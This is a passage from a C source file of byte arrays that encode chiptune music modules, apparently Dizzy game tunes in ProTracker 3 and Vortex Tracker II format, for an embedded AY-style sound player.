0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1c,
0x00, 0x00, 0x01, 0x1b, 0x00, 0x00, 0x01, 0x1a, 0x00, 0x00, 0x01, 0x19, 0x00, 0x00, 0x01, 0x18,
0x00, 0x00, 0x01, 0x17, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x01, 0x13,
0x00, 0x00, 0x01, 0x12, 0x00, 0x00, 0x01, 0x11, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x20, 0x21,
0x09, 0x1e, 0x00, 0x00, 0x0b, 0x1d, 0x00, 0x00, 0x0b, 0x1d, 0x00, 0x00, 0x09, 0x1c, 0x00, 0x00,
0x05, 0x1c, 0x00, 0x00, 0x03, 0x1a, 0x00, 0x00, 0x03, 0x19, 0x00, 0x00, 0x03, 0x18, 0x00, 0x00,
0x01, 0x17, 0x00, 0x00, 0x01, 0x17, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x15, 0x00, 0x00,
0x01, 0x15, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x01, 0x13, 0x00, 0x00, 0x01, 0x12, 0x00, 0x00,
0x01, 0x11, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00,
0x01, 0x80, 0x00, 0x00, 0x20, 0x21, 0x01, 0x1d, 0x00, 0x00, 0x01, 0x1c, 0x00, 0x00, 0x01, 0x1a,
0x00, 0x00, 0x01, 0x18, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x16, 0x00, 0x00, 0x01, 0x15,
0x00, 0x00, 0x01, 0x15, 0x00, 0x00, 0x01, 0x13, 0x00, 0x00, 0x01, 0x13, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80,
0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x02, 0x03, 0x01, 0x1d, 0x00, 0x00,
0x01, 0x19, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x0e, 0x0f, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e,
0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8a,
0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x86,
0x00, 0x00, 0x01, 0x85, 0x00, 0x00, 0x01, 0x84, 0x00, 0x00, 0x01, 0x83, 0x00, 0x00, 0x01, 0x82,
0x00, 0x00, 0x01, 0x81, 0x00, 0x00, 0x03, 0x04, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x01, 0x8d, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x90, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x04, 0x00, 0xfb, 0xf7, 0xf4, 0x00, 0x04, 0x00, 0xfb, 0xf8, 0xf4, 0x01, 0x02, 0x0c,
0x00, 0x00, 0x02, 0x06, 0xfa,
};
const uint8_t dizzy[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x37, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x57, 0x6f,
0x72, 0x6c, 0x64, 0x20, 0x6f, 0x66, 0x20, 0x44, 0x69, 0x7a, 0x7a, 0x79, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x43, 0x6a, 0x20, 0x53, 0x70, 0x6c, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x27, 0x73, 0x20,
0x49, 0x6e, 0x74, 0x72, 0x6f, 0x20, 0x6d, 0x69, 0x78, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x04, 0x18, 0x17, 0xe2, 0x00, 0x00, 0x00, 0xbe, 0x0d, 0x00, 0x00, 0xd4,
0x0d, 0x00, 0x00, 0xe2, 0x0d, 0xf4, 0x0d, 0x0a, 0x0e, 0x40, 0x0e, 0x4e, 0x0e, 0x54, 0x0e, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0x0e, 0x00, 0x00, 0x5d, 0x0e, 0x63,
0x0e, 0x68, 0x0e, 0x6d, 0x0e, 0x71, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x24, 0x00, 0x03, 0x00, 0x03, 0x06,
0x0f, 0x06, 0x18, 0x09, 0x0c, 0x09, 0x0c, 0x12, 0x15, 0x12, 0x15, 0x1b, 0x1e, 0x1b, 0x27, 0x2a,
0x2d, 0xff, 0xf7, 0x02, 0xa0, 0x03, 0x08, 0x04, 0x8d, 0x04, 0x3c, 0x05, 0xa3, 0x05, 0x28, 0x06,
0xcc, 0x06, 0x1b, 0x07, 0xf7, 0x08, 0x9b, 0x09, 0x09, 0x0a, 0x4a, 0x0a, 0xee, 0x0a, 0x66, 0x0b,
0x8d, 0x04, 0xa0, 0x07, 0x04, 0x08, 0x28, 0x06, 0x93, 0x0b, 0x4f, 0x01, 0x8d, 0x04, 0xe8, 0x0b,
0x58, 0x0c, 0x8d, 0x04, 0x85, 0x08, 0x04, 0x08, 0x28, 0x06, 0x4f, 0x01, 0xd4, 0x01, 0x8d, 0x04,
0x31, 0x02, 0xb6, 0x02, 0x42, 0x01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f, 0x7b, 0x7d, 0x7b, 0x00, 0xf0, 0x0a, 0xcd, 0xb1, 0x01, 0x84, 0xca, 0x84,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x84, 0xca, 0x87,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x84, 0xca, 0x87,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x84, 0xca, 0x87,
0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x80, 0xca, 0x87,
0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd, 0x80, 0xca, 0x84,
0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd, 0x80, 0xca, 0x84,
0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd, 0x8c, 0xca, 0x84,
0xcd, 0x87, 0xca, 0x8c, 0xcd, 0x89, 0xca, 0x87, 0xcd, 0x84, 0xca, 0x89, 0x00, 0x1c, 0x00, 0x46,
0x0c, 0x40, 0xb1, 0x02, 0x68, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3,
0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x68, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd,
0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x68, 0xd3, 0xbd, 0x00,
0x23, 0x51, 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00, 0xcb, 0x7f, 0xc8, 0x7d, 0xca, 0x7f,
0x7d, 0xda, 0xcf, 0x02, 0x7f, 0x01, 0x1c, 0x00, 0xef, 0xff, 0xcc, 0x7d, 0xcf, 0x7d, 0x02, 0x7b,
0x01, 0x1e, 0x00, 0x11, 0x00, 0xcc, 0x7d, 0xcf, 0x7d, 0x02, 0x7f, 0x01, 0x1c, 0x00, 0xef, 0xff,
0xcc, 0x7d, 0x00, 0xf0, 0x0a, 0xcd, 0xb1, 0x01, 0x82, 0xca, 0x82, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x82, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x82, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x82, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x82, 0xcd,
0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd, 0x7d, 0xca, 0x87, 0xcd, 0x82, 0xca, 0x7d, 0xcd,
0x89, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd, 0x7d, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd,
0x89, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd, 0x7d, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x7d, 0xcd,
0x89, 0xca, 0x82, 0xcd, 0x82, 0xca, 0x89, 0xcd, 0x8b, 0xca, 0x82, 0xcd, 0x89, 0xca, 0x89, 0xcd,
0x8c, 0xca, 0x89, 0xcd, 0x8e, 0xca, 0x8c, 0x00, 0x1c, 0x00, 0x53, 0x0c, 0x40, 0xb1, 0x02, 0x67,
0xd3, 0xbd, 0x00, 0x2a, 0x51, 0x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xca,
0x9c, 0x9e, 0xa1, 0xa3, 0xd1, 0xcf, 0x7b, 0x7b, 0x7a, 0x7b, 0x7a, 0x78, 0x76, 0x78, 0x7a, 0xcd,
0x76, 0xcf, 0x7b, 0xc0, 0xcd, 0x7b, 0xc0, 0xca, 0x7b, 0xc0, 0xcf, 0x7b, 0x02, 0x7d, 0x01, 0x1e,
0x00, 0xef, 0xff, 0x02, 0x7b, 0x01, 0x1e, 0x00, 0x11, 0x00, 0x00, 0xf0, 0x0a, 0xcf, 0xb1, 0x01,
0x97, 0xca, 0x84, 0xcf, 0x97, 0xca, 0x97, 0xcf, 0x97, 0xca, 0x97, 0xcf, 0x97, 0xca, 0x97, 0xcf,
0x97, 0xca, 0x97, 0xcf, 0x95, 0xca, 0x97, 0xcf, 0x93, 0xca, 0x95, 0xcf, 0x97, 0xca, 0x93, 0xcd,
0x84, 0xca, 0x97, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x8b, 0xca, 0x87, 0xcd, 0x87, 0xca, 0x8b, 0xcd,
0x84, 0xca, 0x87, 0xcf, 0x93, 0xca, 0x84, 0xcf, 0x93, 0xca, 0x93, 0xcf, 0x92, 0xca, 0x93, 0xcf,
0x93, 0xca, 0x92, 0xcf, 0x92, 0xca, 0x93, 0xcf, 0x90, 0xca, 0x92, 0xcf, 0x8e, 0xca, 0x90, 0xcf,
0x90, 0xca, 0x8e, 0xcf, 0x92, 0xca, 0x90, 0xcd, 0x8e, 0xca, 0x91, 0xcf, 0x93, 0xca, 0x8e, 0xcd,
0x80, 0xca, 0x93, 0xcd, 0x84, 0xca, 0x80, 0xcd, 0x87, 0xca, 0x84, 0xcd, 0x84, 0xca, 0x87, 0xcd,
0x8c, 0xca, 0x84, 0xcd, 0x87, 0xca, 0x8c, 0xcd, 0x89, 0xca, 0x87, 0xcd, 0x84, 0xca, 0x89, 0x00,
0xda, 0xcf, 0xb1, 0x04, 0x7f, 0xc8, 0x01, 0xb1, 0x02, 0x7f, 0x06, 0x11, 0x00,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x2a, 0x51, 0xd6, 0xbd, 0x00, 0x53, 0x6c, 0xd3, 0xbd, 0x00, 0x2a, 0x51, 0xd7, 0xbd, 0x00, 0x53,
0x6f, 0xd3, 0xbd, 0x00, 0x2a, 0x51, 0xd6, 0xbd, 0x00, 0x53, 0x6c, 0xd3, 0xbd, 0x00, 0x2a, 0x51,
0xd7, 0xbd, 0x00, 0x53, 0x6f, 0xd3, 0xbd, 0x00, 0x2a, 0x51, 0xd6, 0xbd, 0x00, 0x68, 0x6c, 0xd3,
0xbd, 0x00, 0x34, 0x51, 0xd7, 0xbd, 0x00, 0x68, 0x6f, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd6, 0xbd,
0x00, 0x68, 0x6c, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd7, 0xbd, 0x00, 0x68, 0x6f, 0xd3, 0xbd, 0x00,
0x34, 0x51, 0xd6, 0xbd, 0x00, 0x68, 0x6c, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd7, 0xbd, 0x00, 0x68,
0x6f, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0xd6, 0xbd, 0x00, 0x68, 0x6c, 0xd3, 0xbd, 0x00, 0x34, 0x51,
0xd7, 0xbd, 0x00, 0x68, 0x6f, 0xd3, 0xbd, 0x00, 0x34, 0x51, 0x00, 0xf0, 0x02, 0xcf, 0x01, 0xb1,
0x03, 0x8b, 0x0f, 0x11, 0x00, 0xb1, 0x01, 0xc0, 0xb1, 0x03, 0x8b, 0xb1, 0x01, 0xc0, 0xb1, 0x02,
0x8b, 0xda, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0x02, 0x87, 0x01, 0x10, 0x00, 0x11, 0x00,
0x02, 0x89, 0x01, 0x10, 0x00, 0xef, 0xff, 0xd1, 0xca, 0x87, 0xcf, 0x8b, 0xca, 0x89, 0xcf, 0x87,
0xca, 0x8b, 0xcf, 0x87, 0xda, 0x87, 0x02, 0x86, 0x01, 0x08, 0x00, 0x11, 0x00, 0x02, 0x87, 0x01,
0x08, 0x00, 0xef, 0xff, 0x02, 0x86, 0x01, 0x08, 0x00, 0x11, 0x00, 0x02, 0x84, 0x01, 0x12, 0x00,
0x11, 0x00, 0xd1, 0x82, 0x84, 0x86, 0xcc, 0x82, 0xcf, 0x87, 0xca, 0x86, 0xcc, 0x87, 0xc8, 0x87,
0xca, 0x87, 0xc8, 0x87, 0xcf, 0x87, 0x89, 0x87, 0x00, 0xf3, 0x10, 0xcf, 0xb1, 0x02, 0x84, 0x84,
0xca, 0x84, 0xcf, 0x84, 0xca, 0x84, 0x40, 0xcc, 0x78, 0x7f, 0x78, 0x43, 0xcf, 0x84, 0x84, 0xca,
0x84, 0xcf, 0x84, 0xca, 0x84, 0x40, 0xcc, 0x78, 0x7f, 0x78, 0x43, 0xcf, 0x80, 0x80, 0xca, 0x80,
0xcf, 0x80, 0xca, 0x80, 0x40, 0xcc, 0x78, 0x80, 0x78, 0x43, 0xcf, 0x80, 0xca, 0x80, 0xcd, 0x80,
0xcf, 0x80, 0xca, 0x80, 0x40, 0xcc, 0x78, 0x84, 0x79, 0x00, 0x1c, 0x00, 0x46, 0x0c, 0x40, 0xb1,
0x02, 0x6c, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23,
0x51, 0xd6, 0xbd, 0x00, 0x46, 0x6c, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f,
0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x6c, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd7,
0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 0x51, 0xd6, 0xbd, 0x00, 0x46, 0x74, 0xd3, 0xbd,
0x00, 0x23, 0x51, 0xd7, 0xbd, 0x00, 0x46, 0x6f, 0xd3, 0xbd, 0x00, 0x23, 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0x89, 0x01, 0x00, 0x00, 0x11, 0x00, 0x02, 0x8b, 0x01, 0x0d,
0x00, 0xef, 0xff, 0xcc, 0x89, 0x00, 0x43, 0xb0, 0xcf, 0xb1, 0x02, 0x82, 0x82, 0xc0, 0x82, 0xc0,
0x40, 0x76, 0x7f, 0x76, 0x44, 0x87, 0x87, 0xc0, 0x87, 0xc0, 0x40, 0x76, 0x7f, 0x80, 0x43, 0x89,
0x89, 0xc0, 0x89, 0xc0, 0x40, 0x7f, 0x7d, 0x7b, 0x43, 0x8b, 0x8b, 0xc0, 0x89, 0xc0, 0xc0, 0xb1,
0x04, 0x8b, 0x00, 0xf0, 0x02, 0xcf, 0xb1, 0x02, 0x8b, 0x8b, 0xb1, 0x01, 0x8b, 0xc0, 0x8b, 0xc0,
0xda, 0xb1, 0x02, 0x8b, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0x02, 0x87, 0x01, 0x10, 0x00,
0x11, 0x00, 0xd1, 0x02, 0x8b, 0x01, 0x1d, 0x00, 0xef, 0xff, 0xc0, 0xd5, 0xcd, 0x9c, 0x9e, 0xa1,
0xa3, 0xd1, 0xcf, 0x87, 0x87, 0x86, 0x87, 0x86, 0x84, 0x82, 0x84, 0x86, 0xcd, 0x82, 0xcf, 0x87,
0xc0, 0xcd, 0x87, 0xc0, 0xca, 0x87, 0xc0, 0xcf, 0x87, 0x02, 0x89, 0x01, 0x10, 0x00, 0xef, 0xff,
0x02, 0x87, 0x01, 0x10, 0x00, 0x11, 0x00, 0x00, 0xda, 0xcf, 0xb1, 0x04, 0x8b, 0xca, 0x01, 0xb1,
0x02, 0x8b, 0x06, 0x11, 0x00, 0xd1, 0xcf, 0x02, 0x89, 0x01, 0x0d, 0x00, 0x11, 0x00, 0xca, 0x8b,
0x89, 0xc9, 0x8b, 0xc6, 0x89, 0xcf, 0x8b, 0xcc, 0x89, 0xcf, 0x02, 0x8c, 0x01, 0x13, 0x00, 0xef,
0xff, 0x89, 0xc8, 0x89, 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c, 0xd0, 0x01, 0x11, 0x00, 0xb1, 0x04, 0xc0, 0x00, 0xf2, 0x02, 0xcc, 0xb1,
0x40, 0x78, 0x00, 0x40, 0xb0, 0xcf, 0xb1, 0x02, 0x8b, 0xce, 0x84, 0xcd, 0x8b, 0xcc, 0x84, 0xcb,
0x8b, 0xca, 0x84, 0xc9, 0x8b, 0xc8, 0x84, 0xc7, 0x8b, 0xc6, 0x84, 0xc5, 0x8b, 0xc4, 0x84, 0xc3,
0x8b, 0xc2, 0x84, 0xc1, 0x8b, 0x84, 0xb1, 0x20, 0xc0, 0x00, 0xb1, 0x01, 0xc0, 0x00, 0x02, 0x05,
0x01, 0x8f, 0x03, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00,
0x81, 0x8e, 0x00, 0x00, 0x02, 0x03, 0x01, 0x0f, 0xb4, 0xf3, 0x01, 0x8f, 0xb3, 0xf3, 0x00, 0x90,
0x00, 0x00, 0x03, 0x04, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00,
0x80, 0x8c, 0x00, 0x00, 0x04, 0x05, 0x1f, 0x0d, 0xaa, 0x01, 0x01, 0x8c, 0xff, 0x01, 0x01, 0x8b,
0x22, 0x02, 0x01, 0x8b, 0x33, 0x03, 0x00, 0xb0, 0x00, 0x00, 0x0c, 0x0d, 0x01, 0x0f, 0x00, 0x00,
0x01, 0x0f, 0x80, 0x00, 0x01, 0x0f, 0x00, 0x01, 0x01, 0x0e, 0x80, 0x01, 0x00, 0x8d, 0x00, 0x02,
0x00, 0x9c, 0x80, 0x02, 0x00, 0x9b, 0x00, 0x03, 0x00, 0x9a, 0x80, 0x03, 0x00, 0x99, 0x01, 0x04,
0x00, 0x99, 0x80, 0x04, 0x00, 0x98, 0x80, 0x04, 0x00, 0x98, 0x00, 0x05, 0x00, 0x90, 0x00, 0x00,
0x00, 0x03, 0x01, 0x8c, 0x01, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x81, 0x8c, 0x00, 0x00, 0x00, 0x01,
0x00, 0x90, 0x00, 0x00, 0x00, 0x01, 0x01, 0x8e, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, 0x04, 0x00,
0x0c, 0x18, 0x0c, 0x00, 0x03, 0x00, 0x07, 0x0c, 0x00, 0x03, 0x00, 0x02, 0x0c, 0x01, 0x02, 0x00,
0x0c, 0x00, 0x03, 0x00, 0x04, 0x0c,
};
const uint8_t dizzy4[] MUSICMEM = {
0x56, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x20, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x49,
0x49, 0x20, 0x31, 0x2e, 0x30, 0x20, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x3a, 0x20, 0x44, 0x69,
0x7a, 0x7a, 0x79, 0x20, 0x34, 0x20, 0x6d, 0x61, 0x69, 0x6e, 0x20, 0x74, 0x69, 0x74, 0x6c, 0x65,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65,
0x79, 0x20, 0x45, 0x6c, 0x64, 0x65, 0x72, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x01, 0x07, 0x0f, 0x01, 0xd9, 0x00, 0x00, 0x00, 0x5a, 0x05, 0x7c, 0x05, 0x00,
0x00, 0xa2, 0x05, 0xd0, 0x05, 0xee, 0x05, 0x00, 0x00, 0x0c, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0x06, 0x3d, 0x06, 0x47, 0x06, 0x00,
0x00, 0x4a, 0x06, 0x57, 0x06, 0x60, 0x06, 0x69, 0x06, 0x6c, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x06, 0x09, 0x09, 0x06,
0x06, 0x0c, 0x0c, 0x0f, 0x12, 0x12, 0x15, 0x15, 0xff, 0x09, 0x01, 0x66, 0x01, 0xb1, 0x01, 0x09,
0x01, 0x66, 0x01, 0xb5, 0x01, 0x30, 0x02, 0x66, 0x01, 0xb5, 0x01, 0x7a, 0x02, 0x66, 0x01, 0xb5,
0x01, 0xc0, 0x02, 0x12, 0x03, 0x5d, 0x03, 0xe2, 0x03, 0xe7, 0x03, 0x32, 0x04, 0xc0, 0x04, 0x12,
0x03, 0x5d, 0x03, 0x0b, 0x05, 0x12, 0x03, 0x5d, 0x03, 0xd1, 0x41, 0xb1, 0x01, 0x90, 0x8c, 0x8e,
0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01,
0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c,
0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1,
0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90,
0x8c, 0x8e, 0xb1, 0x02, 0x8c, 0xb1, 0x01, 0x87, 0x89, 0x8c, 0x90, 0x8c, 0x8e, 0xb1, 0x02, 0x8c,
0xb1, 0x01, 0x87, 0x89, 0x8c, 0x00, 0xd2, 0x42, 0xb1, 0x02, 0x68, 0x68, 0xb1, 0x01, 0x68, 0xb1,
0x02, 0x68, 0x68, 0x68, 0xb1, 0x01, 0x68, 0xb1, 0x02, 0x68, 0x67, 0x65, 0x65, 0xb1, 0x01, 0x65,
0xb1, 0x02, 0x65, 0x65, 0x65, 0xb1, 0x01, 0x65, 0xb1, 0x02, 0x65, 0x63, 0x61, 0x61, 0xb1, 0x01,
0x61, 0xb1, 0x02, 0x61, 0x61, 0x61, 0xb1, 0x01, 0x61, 0x61, 0x61, 0x60, 0x61, 0xb1, 0x02, 0x63,
0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x63, 0x63, 0xb1, 0x01, 0x63, 0xb1, 0x02, 0x63, 0x65, 0x67,
0x00, 0xb1, 0x40, 0xd0, 0x00, 0xd5, 0x45, 0xb1, 0x02, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d,
0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5,
0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44,
0xb1, 0x01, 0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d,
0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01,
0x72, 0xd5, 0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44,
0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0xb1, 0x01, 0x72, 0xd5,
0x45, 0xb1, 0x03, 0x6d, 0xd4, 0x44, 0xb1, 0x02, 0x72, 0xd5, 0x45, 0x6d, 0xd4, 0x44, 0x72, 0x00,
0xd2, 0x42, 0xb1, 0x02, 0x84, 0x84, 0xb1, 0x01, 0x84, 0x82, 0x80, 0xb1, 0x02, 0x82, 0x84, 0x80,
0xb1, 0x01, 0x80, 0xb1, 0x02, 0x7f, 0xb1, 0x01, 0x80, 0x7f, 0x7d, 0x7f, 0x80, 0xb1, 0x02, 0x82,
0x84, 0x82, 0x80, 0xb1, 0x01, 0x80, 0x82, 0x80, 0xb1, 0x03, 0x84, 0xb1, 0x05, 0x82, 0xb1, 0x02,
0x84, 0xb1, 0x01, 0x85, 0xb1, 0x05, 0x82, 0xb1, 0x03, 0x84, 0xb1, 0x05, 0x82, 0xb1, 0x02, 0x84,
0xb1, 0x01, 0x82, 0xb1, 0x02, 0x80, 0xb1, 0x03, 0x7f, 0x00, 0xd6, 0x46, 0xb1, 0x02, 0x7b, 0x79,
0x78, 0xb1, 0x01, 0x79, 0xb1, 0x09, 0x7b, 0xb1, 0x01, 0x7d, 0x7b, 0x7d, 0x7b, 0x7d, 0xb1, 0x02,
0x7b, 0x7d, 0x7b, 0x78, 0x76, 0xb1, 0x01, 0x74, 0xb1, 0x02, 0x78, 0x78, 0x79, 0xb1, 0x01, 0x78,
